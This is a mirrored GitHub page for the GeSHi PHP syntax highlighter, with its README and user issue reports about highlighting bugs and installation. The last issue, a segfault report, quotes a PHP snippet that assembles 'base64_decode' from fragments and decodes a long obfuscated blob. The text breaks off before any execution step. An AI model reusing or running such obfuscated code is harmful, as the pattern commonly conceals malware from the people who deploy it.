GithubHelp home page GithubHelp logo

geshi / geshi-1.0 Goto Github PK

View Code? Open in Web Editor NEW
167.0 167.0 100.0 4 MB

Original version of Generic Syntax Highlighter for PHP

Home Page: http://qbnz.com/highlighter/

License: GNU General Public License v2.0

PHP 100.00%
hacktoberfest highlight php syntax-highlighting

geshi-1.0's Introduction

GeSHi - Generic Syntax Highlighter

Version 1.0.9.1

Author: Benny Baumann, Nigel McNie Email: [email protected], [email protected] GeSHi Website: http://qbnz.com/highlighter

GeSHi is a generic syntax highlighter, written in PHP. You simply input the source code you wish to highlight with the language you wish to use, and the output will be a file syntax highlighted to XHTML standards.

Documentation

For more information on how to use GeSHi, please consult the documentation. If you got this readme from a GeSHi package, then the documentation is available in the docs directory. Documentation is also available online.

If you think you've found a bug in GeSHi, contact me with a bug report at [email protected], submit to the bug tracker at GitHub. Be aware that minor highlighting errors may well just be incorrect language files, but if you do find something major please contact me.

And if you're using GeSHi as a plugin/mod for some other software, please tell me about it! It's worth a link to you, and I can give you specialist help if you need it.

License

GeSHi is free software, released under the GNU GPL. Please see the LICENSE file for more information. If you do modify this program, please tell me about it! Perhaps you've made a good improvement that I can learn from :)

geshi-1.0's People

Contributors

-jerry- avatar abu3safeer avatar apjanke avatar benbe avatar carlokok avatar crazycatdevs avatar cweiske avatar dougporter avatar duplode avatar hartman avatar idleberg avatar jamend avatar javiereguiluz avatar jeremysinger avatar jonathanbennett73 avatar jpnurmi avatar lucaswerkmeister avatar milianw avatar mudhairless avatar neochapay avatar omus avatar peterdd avatar phy25 avatar process-bot avatar rayhem avatar realityripple avatar reedy avatar segaja avatar splitbrain avatar suve avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

geshi-1.0's Issues

XML: Highlight is broken when use apostrophe

Hi!

When using apostrophe in codes, it brokes geshi highlighting.

example code :

<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

ap

i saw another one created a issue https://phabricator.wikimedia.org/T20553 like this and someone replied that this fixed newer version. But i tried two versions 1.0.8.12, 1.0.8.11, results the same :(

ABAP keyword documentation URLs are broken

The ABAP keyword document URLs no longer link to existing pages.

This can be fixed by replacing the following in abap.php:

    'URLS' => array(
        1 => 'http://help.sap.com/abapdocu/en/ABAP{FNAMEU}.htm',
        2 => 'http://help.sap.com/abapdocu/en/ABAP{FNAMEU}.htm',
        3 => 'http://help.sap.com/abapdocu/en/ABAP{FNAMEU}.htm',

with:

    'URLS' => array(
        1 => 'http://help.sap.com/abapdocu_740/en/ABAP{FNAMEU}.htm',
        2 => 'http://help.sap.com/abapdocu_740/en/ABAP{FNAMEU}.htm',
        3 => 'http://help.sap.com/abapdocu_740/en/ABAP{FNAMEU}.htm',

After this the keywords link to the keyword documentation of the latest language version.

move contrib out of src

I think it is convention that src should contain the real sources of a library package only. Additional files like documentation (see #81) and contributed scripts, demo files etc. should live outside the src directory.

When moving those file it would make sense to clean them up a little and make them use proper autoloading.

TWIG templating

A feature would be useful when the return value would be an array containing highlighted lines.

Thus, twigs would allow the rows to be freely formatted. Optionally, you could have <div>, <li>, <td>, <br> in the twig template.

geshi and biblatex

Should it be possible to have a new geshi style based on the bibtex style, but for biblatex, e.g. with the new feature of biblatex : possibility to create all custom fields or types we want?

TCL syntax formatting issue

When entering TCL text, the following syntax [formatting] error occurs:

set ::a 5
uplevel #0 { set b [expr $a + 5 ] }
return $::b

The "#0" and beyond, on that line, is returned as a COMMENT (color / italics) by GeSHi, which is WRONG! It's part of the UPLEVEL syntax (absolute global level). UPVAR also uses it.

uplevel <integer or "#0"> { code }
upvar <integer or "#0"> remote_variable local_variable

Normally, a "#" at the beginning of a line indicates a comment. The only times a TCL comment could begin are:
(1) first character of a line [ignoring whitespace]
(2) after a semi-colon (";"), which is a command delimiter in TCL
(3) after an opening [curly] brace

An example of the all three is:

if { $loop == 5 } { # This handles when ever $LOOP is = 5
     incr a ; # Skip 5, continue on to 6, and continue with the loop
     # We want to skip when $LOOP = 5
}

A consequence is an unintentional comment being allowed, though, some syntax / format parsers mis-handle it:

if { $loop == 4 } { # Do nothing # }

The comment SHOULD swallow the close-brace (everything from "#" to the linefeed), and, a "brace count mismatch" should ultimately occur (some versions of TCL do not see the error and safely (but improperly) protect the brace); most parsers are inconsistent with handling that situation.

abap.php ignores CASE_KEYWORDS and always uses upper case for keywords

ABAP keywords are not required to be in upper case but abap.php ignores CASE_KEYWORDS and always outputs keywords in upper case by using text-transform: uppercase;:

        'KEYWORDS' => array(
            1 => 'color: #000066; text-transform: uppercase; font-weight: bold; zzz:control;', //control statements
            2 => 'color: #cc4050; text-transform: uppercase; font-weight: bold; zzz:data;', //data statements
            3 => 'color: #005066; text-transform: uppercase; font-weight: bold; zzz:statement;', //first token of other statements
            4 => 'color: #500066; text-transform: uppercase; font-weight: bold; zzz:keyword;', // next tokens of other statements ("keywords")
            5 => 'color: #005066; text-transform: uppercase; font-weight: bold; zzz:statement;',
            6 => 'color: #000066; text-transform: uppercase; font-weight: bold; zzz:control;',
            7 => 'color: #000066; text-transform: uppercase; font-weight: bold; zzz:control;',
            8 => 'color: #005066; text-transform: uppercase; font-weight: bold; zzz:statement;',
            9 => 'color: #500066; text-transform: uppercase; font-weight: bold; zzz:keyword;'
            ),

This leaves no option to have keywords displayed in lower case.

'Perl 6' has been renamed as 'Raku'

With the recent renaming of 'Perl 6' as 'Raku', there's a need for an update to apply the same highlighting for code with either of those names ('Perl 6' for legacy code, 'Raku' for new code). Is there any way to 'alias' one for the other within GeSHi? Otherwise two identical language files would work.

Additionally: The language file could use some work, I will look into updating it, with the goal of submitting a PR.

yaml: Notice when numbers are in the file

I get a E_NOTICE when there are numbers in my .yml file:

PHP Notice:  Undefined offset: 0 in /usr/share/php/geshi.php on line 3480
PHP Stack trace:
PHP   1. {main}() /home/cweiske/Dev/html/cweiske.de/tagebuch/update-file.php:0
PHP   2. Tagebuch_Renderer->updateForSingleFile() /home/cweiske/Dev/html/cweiske.de/tagebuch/update-file.php:27
PHP   3. Tagebuch_Renderer->createPost() /home/cweiske/Dev/html/cweiske.de/tagebuch/src/Tagebuch/Renderer.php:93
PHP   4. Tagebuch_Renderer->renderPost() /home/cweiske/Dev/html/cweiske.de/tagebuch/src/Tagebuch/Renderer.php:204
PHP   5. Tagebuch_Renderer->addSyntaxHighlighting() /home/cweiske/Dev/html/cweiske.de/tagebuch/src/Tagebuch/Renderer.php:265
PHP   6. GeSHi->parse_code() /home/cweiske/Dev/html/cweiske.de/tagebuch/src/Tagebuch/Renderer.php:428
PHP   7. GeSHi->parse_non_string_part() /usr/share/php/geshi.php:3069

File to reproduce this:

foo: 1

<CODE SAS> highlighting inside PROC SQL

SAS has a PROC SQL statement which contains different (SQL) syntax. The syntax highlighting should reflect this.

sascode

Problem code: the asterisk in the select statement is treated as a SAS comment.

proc sql;
select count(*) AS Total, d.OwnRent, d.AssistedLiving, d.NursingHome, d.LiveWFam 
from Dwelling2 as d
group by d.OwnRent, d.AssistedLiving, d.NursingHome, d.LiveWFam
order by Total DESC;
quit;

scilab highlighting has not valid html links

Trying with Scilab code shows (looks as an similar issue as #36)

for n=[1,2,5,10,20,50,100]
    plot2d([-1.5,-1/n,1/n,1.5],[0,0,1,1],2+floor(2*log(n)))
end

becomes:

scilab.org/product/dic-mat-sci/M2SCI_doc.htm">for n=[1,2,5,10,20,50,100]
    plot2d([-1.5,-1/n,1/n,1.5],[0,0,1,1],2+floor(2*log(n)))
scilab.org/product/dic-mat-sci/M2SCI_doc.htm">end

Testing this example at http://qbnz.com/highlighter/php_highlighter.php replicate this behavior as well.

Copy of the html from that tester:

<ol><li class="li1"><div class="de1"><a href="http://www.<a href="http://www.scilab.org/product/dic-mat-sci/M2SCI_doc.htm"><span class="kw3">scilab</span></a>.org<span class="sy0">/</span>product<span class="sy0">/</span>dic<span class="sy0">-</span>mat<span class="sy0">-</span>sci<span class="sy0">/</span>M2SCI_doc.htm"><span class="kw1">for</span></a> n<span class="sy0">=</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="sy0">,</span><span class="nu0">2</span><span class="sy0">,</span><span class="nu0">5</span><span class="sy0">,</span><span class="nu0">10</span><span class="sy0">,</span><span class="nu0">20</span><span class="sy0">,</span><span class="nu0">50</span><span class="sy0">,</span><span class="nu0">100</span><span class="br0">&#93;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <a href="http://www.scilab.org/product/dic-mat-sci/M2SCI_doc.htm"><span class="kw3">plot2d</span></a><span class="br0">&#40;</span><span class="br0">&#91;</span><span class="sy0">-</span><span class="nu0">1.5</span><span class="sy0">,-</span><span class="nu0">1</span><span class="sy0">/</span>n<span class="sy0">,</span><span class="nu0">1</span><span class="sy0">/</span>n<span class="sy0">,</span><span class="nu0">1.5</span><span class="br0">&#93;</span><span class="sy0">,</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="sy0">,</span><span class="nu0">0</span><span class="sy0">,</span><span class="nu0">1</span><span class="sy0">,</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="sy0">,</span><span class="nu0">2</span><span class="sy0">+</span><a href="http://www.scilab.org/product/dic-mat-sci/M2SCI_doc.htm"><span class="kw3">floor</span></a><span class="br0">&#40;</span><span class="nu0">2</span><span class="sy0">*</span><a href="http://www.scilab.org/product/dic-mat-sci/M2SCI_doc.htm"><span class="kw3">log</span></a><span class="br0">&#40;</span>n<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><a href="http://www.<a href="http://www.scilab.org/product/dic-mat-sci/M2SCI_doc.htm"><span class="kw3">scilab</span></a>.org<span class="sy0">/</span>product<span class="sy0">/</span>dic<span class="sy0">-</span>mat<span class="sy0">-</span>sci<span class="sy0">/</span>M2SCI_doc.htm"><span class="kw1">end</span></a></div></li>
</ol><div class="foot">Parsed in 0.009 seconds at 10.09 KB/s</div></div><h4>Statistics</h4>

installation with composer

Hi,

having used different scenarios to install geshi I still never get what I want, but probably it's a usage and/or documentation problem.

Comment: don't huddle around with notation of php or php.exe, I'm on Windows without installed php but use different versions, so I always call it with full path including the exe-suffix, I'm sure that's not a problem here.

Scenario 1

> php.exe -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" 
> php.exe -r "copy('https://raw.githubusercontent.com/GeSHi/geshi-1.0/master/composer.json', 'composer.json');"
> php.exe -r "if (hash_file('SHA384', 'composer-setup.php') === '669656bab3166a7aff8a7506b8cb2d1c292f042046c5a994c43155c0be6190fa0355160742ab2e1c88d40d5be660b410') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
Installer verified
>php.exe composComposer (version 1.5.1) successfully installed to: [...]\composer.phar
Use it: php composer.pharer-setup.php
> php.exe -r "unlink('composer-setup.php');"
php.exe composer.phar install
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 25 installs, 0 updates, 0 removals
  - Installing symfony/yaml (v3.3.6): Loading from cache
  - Installing sebastian/version (2.0.1): Loading from cache
  - Installing sebastian/resource-operations (1.0.0): Loading from cache
  - Installing sebastian/recursion-context (2.0.0): Loading from cache
  - Installing sebastian/object-enumerator (2.0.1): Loading from cache
  - Installing sebastian/global-state (1.1.1): Loading from cache
  - Installing sebastian/exporter (2.0.0): Loading from cache
  - Installing sebastian/environment (2.0.0): Loading from cache
  - Installing sebastian/diff (1.4.3): Loading from cache
  - Installing sebastian/comparator (1.2.4): Loading from cache
  - Installing doctrine/instantiator (1.0.5): Loading from cache
  - Installing phpunit/php-text-template (1.2.1): Loading from cache
  - Installing phpunit/phpunit-mock-objects (3.4.4): Loading from cache
  - Installing phpunit/php-timer (1.0.9): Loading from cache
  - Installing phpunit/php-file-iterator (1.4.2): Loading from cache
  - Installing sebastian/code-unit-reverse-lookup (1.0.1): Loading from cache
  - Installing phpunit/php-token-stream (2.0.0): Loading from cache
  - Installing phpunit/php-code-coverage (4.0.8): Loading from cache
  - Installing webmozart/assert (1.2.0): Loading from cache
  - Installing phpdocumentor/reflection-common (1.0): Loading from cache
  - Installing phpdocumentor/type-resolver (0.3.0): Loading from cache
  - Installing phpdocumentor/reflection-docblock (3.2.2): Loading from cache
  - Installing phpspec/prophecy (v1.7.0): Loading from cache
  - Installing myclabs/deep-copy (1.6.1): Loading from cache
  - Installing phpunit/phpunit (5.7.21): Loading from cache
symfony/yaml suggests installing symfony/console (For validating YAML files using the lint command)
sebastian/global-state suggests installing ext-uopz (*)
phpunit/phpunit suggests installing phpunit/php-invoker (~1.1)
Writing lock file
Generating autoload files

  [RuntimeException]
  Could not scan for classes inside "src/geshi/" which does not appear to be
  a file nor a folder

Here I get phpunit with almost all dependencies installed but not geshi.

Scenario 2

[Basic installation same as above]
> php composer require geshi/geshi
Using version ^1.0 for geshi/geshi
./composer.json has been created
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 1 install, 0 updates, 0 removals
  - Installing geshi/geshi (v1.0.9.0): Downloading (100%)
Writing lock file
Generating autoload files

Here I get geshi installed but not phpunit.

Scenario 3

[Basic installation same as above]
> php composer require --dev geshi/geshi

Here I also never get phpunit installed.

Sorry, never being experienced, so I need a hint how to install it with geshi and phpunit.
I could merge both results but that's not the way it should work I guess.
Might be pointing out some missing parts in the wiki ...

conf: "Undefined index: COMMENTS"

PHP message I get:

Notice: Undefined index: COMMENTS in /usr/share/php/geshi.php on line 1032
Warning: Invalid argument supplied for foreach() in /usr/share/php/geshi.php on line 1032

This happens in GeSHi->set_comments_style() with the "conf" language.

Reproduction code:

<?php
require 'geshi.php';
$geshi = new GeSHi('options single-request', 'conf');
$geshi->set_symbols_style('color:#000');
$geshi->set_comments_style(0, 'color:#A00');
$geshi->parse_code();

Happens with geshi 1.0.9.0.

Support for MetaPost and TeXgraph

From: Maxime Chupin
To: Christian Weiske
Subject: Geshi Languages
Date: Tue, 15 Nov 2016 18:39:02 +0100

Hi,

This mail to let you know that we have written files to support two
languages for GeSHI :
MetaPost and TeXgraph. The git repository is there :

melusine.eu.org/syracuse/G/geshi/

You can clone the project via git (on the ssh port number 223 and not 22) :

git clone [email protected]:geshi.git

Thanks for your work !

All the best,

nginx: Undefined offset: 0

I get a PHP warning when highlighting nginx config code:

PHP Notice: Undefined offset: 0 in /usr/share/php/geshi.php on line 3469

Reproduction code:

<?php
require 'geshi.php';
$code = <<<'EOD'
location ~ \.(php|phar)(/.*)?$ {
    fastcgi_split_path_info ^(.+\.(?:php|phar))(/.*)$;
    set $path_info $fastcgi_path_info;
    fastcgi_param PATH_INFO $path_info;
    ...
}
EOD;
$geshi = new GeSHi($code, 'nginx');
$geshi->parse_code();

Happens with geshi 1.0.9.0.

Update mIRC url

Can someone update the url in mIRC language to one available online help nowadays?

https://github.com/GeSHi/geshi-1.0/blob/master/src/geshi/mirc.php

Line 128:

  •     3 => 'http://www.mirc.com/{FNAMEL}'
    
  •     3 => 'http://http://en.wikichip.org/wiki/mirc/commands/{FNAMEL}'
    

Wish to know why mirc.com were added there, this url never was available to lookup the help online.

I'm not a dev, no idea exactly how to make a pull request, was not able to accomplish this small modification myself.

Segmentation fault in libpcre.so

GeSHi release 1.0.8.11
Using it as a part of a forum software XenForo. Got a problem with syntax highlighting on a single forum post, no others cause this problem.
Have tried increasing pcre.recursion_limit up to 1000000, that doesn't seem to help.
The error itself is kernel: php5-fpm[21234]: segfault at 7ffd9cce8e70 ip 00007f0dd9d44d9a sp 00007ffd9cce8e60 error 6 in libpcre.so.3.13.1[7f0dd9d31000+6c000]
At first I had a theory that this might be related to the size of the code being analyzed, but I have tried using the same regex (from php.php line 1081, the one that begins with /(?P<start><\\?(?>php\b)?)(?:) on large php files (up to 300K) - but it works fine.
The code which causes this error:
<?php $g___g_='base'.(32*2).'_de'.'code';$g___g_=$g___g_(str_replace("\n", '', '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 